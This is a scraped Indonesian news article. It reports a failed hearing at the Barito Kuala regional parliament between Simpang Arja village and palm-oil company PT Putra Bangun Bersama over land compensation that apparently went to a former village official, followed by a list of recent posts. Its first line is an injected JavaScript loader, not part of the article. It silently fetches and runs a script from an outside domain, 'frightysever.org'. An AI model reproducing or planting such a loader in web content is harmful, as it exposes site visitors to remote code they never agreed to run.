(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BARITO KUALA

Pertemuan Sengit di DPRD Batola: Pihak Desa Simpang Arja dan PT Putra Bangun Bersama Gagal Capai Kesepakatan terkait Lahan


KANALKALIMANTAN.COM, MARABAHAN- Upaya perundingan mengenai lahan antara Pemerintah Desa Simpang Arja, Kabupaten Barito Kuala (Batola), dan perusahaan sawit PT Putra Bangun Bersama (PBB) tidak berhasil mencapai kesepakatan. Konflik ini muncul setelah ditemukan dugaan penjualan lahan oleh oknum masyarakat desa, yang mengakibatkan ganti rugi yang telah dibayarkan oleh PT PBB tidak sampai kepada pemilik lahan.

Pernyataan dari kedua belah pihak mengindikasikan ketidaksepakatan mengenai kepemilikan lahan. Kepala Desa Simpang Arja, Ambia, menegaskan kesiapannya untuk melaporkan oknum yang diduga terlibat dalam penjualan lahan tersebut. Fakta menunjukkan bahwa oknum tersebut merupakan mantan pejabat desa setempat.

“Karena tidak ada titik temu dalam perundingan dan solusi yang ditemukan, kami bersedia melaporkan masalah ini ke pihak kejaksaan atau kepolisian. Kami siap untuk mengambil langkah hukum,” Ambia mengungkapkan.

Baca juga: Dirjen Otda Kemendagri Evaluasi Kinerja Pemkab Kapuas

Sementara itu, General Manager Social Security Legal PT PBB, Herman Prawira, memberikan tanggapan positif terhadap rencana tindakan hukum yang akan diambil oleh pihak desa. Herman mengklarifikasi posisi perusahaan, menyatakan bahwa perusahaan sudah melakukan pembayaran ganti rugi sesuai arahan yang telah diberikan oleh anggota dewan.

Herman menyatakan, “Kami tidak memiliki keberatan terhadap tindakan tegas dari pihak desa. Kami sudah melakukan pembayaran sesuai arahan yang kami terima. Jika ada oknum yang melakukan penjualan lahan dan pemilik lahan merasa dirugikan, maka langkah yang tepat adalah melaporkannya.”

Perundingan antara Desa Simpang Arja dan PT PBB berlangsung alot dalam rapat dengar pendapat di Gedung DPRD Batola, Marabahan, pada Selasa (4/7/2023) sore.

Ketua DPRD Batola, Saleh, memimpin rapat yang dihadiri oleh para anggota dewan. Saleh menjelaskan bahwa konflik ini berasal dari klaim wilayah yang belum menerima ganti rugi dari perusahaan, meskipun telah sesuai dengan regulasi Permendagri Nomor 45.

Baca juga: Dalih PUPR Banjarmasin Pertahankan Material Ulin Jembatan Kuin Utara

Masyarakat juga turut menghadirkan permasalahan dalam konteks ini, menuntut ganti rugi yang sejauh ini tidak diterima.

“Kami melihat adanya kebingungan dalam hal ini. Meskipun perusahaan telah membayar, ada masyarakat yang merasa belum mendapatkan ganti rugi,” Saleh menambahkan.

DPRD Batola menyarankan agar Pemerintah Desa Simpang Arja melaporkan masalah ini ke pihak berwenang, dengan pertimbangan bahwa kemungkinan terdapat pihak lain yang menerima pembayaran ganti rugi tersebut. (Kanalkalimantan.com/rdy)

Reporter : rdy
Editor : KK


Risa

Recent Posts

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

16 jam ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Muhammad Zuhdianoor atau dikenal Abah Haji… Read More

18 jam ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

18 jam ago

Bupati Banjar Ingatkan Kantor Desa Garda Terdepan Pelayanan dan Bebas Pungli

KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur meresmikan tiga kantor desa dan Taman Pendidikan… Read More

18 jam ago

Cuti Bersama Tahun Baru Imlek, PTAM Intan Banjar Sesuaikan Jam Kerja Kantor Pelayanan

KANALKALIMANTAN.COM, BANJARBARU – Jam pelayanan dan jam kerja di kantor pelayanan PT Air Minum (PTAM) Intan… Read More

19 jam ago

Bapokting Naik, Wakil Wali Kota Ananda: Jangan Sampai Panic Buying!

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Wali Kota Banjarmasin, Hj Ananda mengimbau masyarakat untuk tidak panic buying… Read More

1 hari ago

This website uses cookies.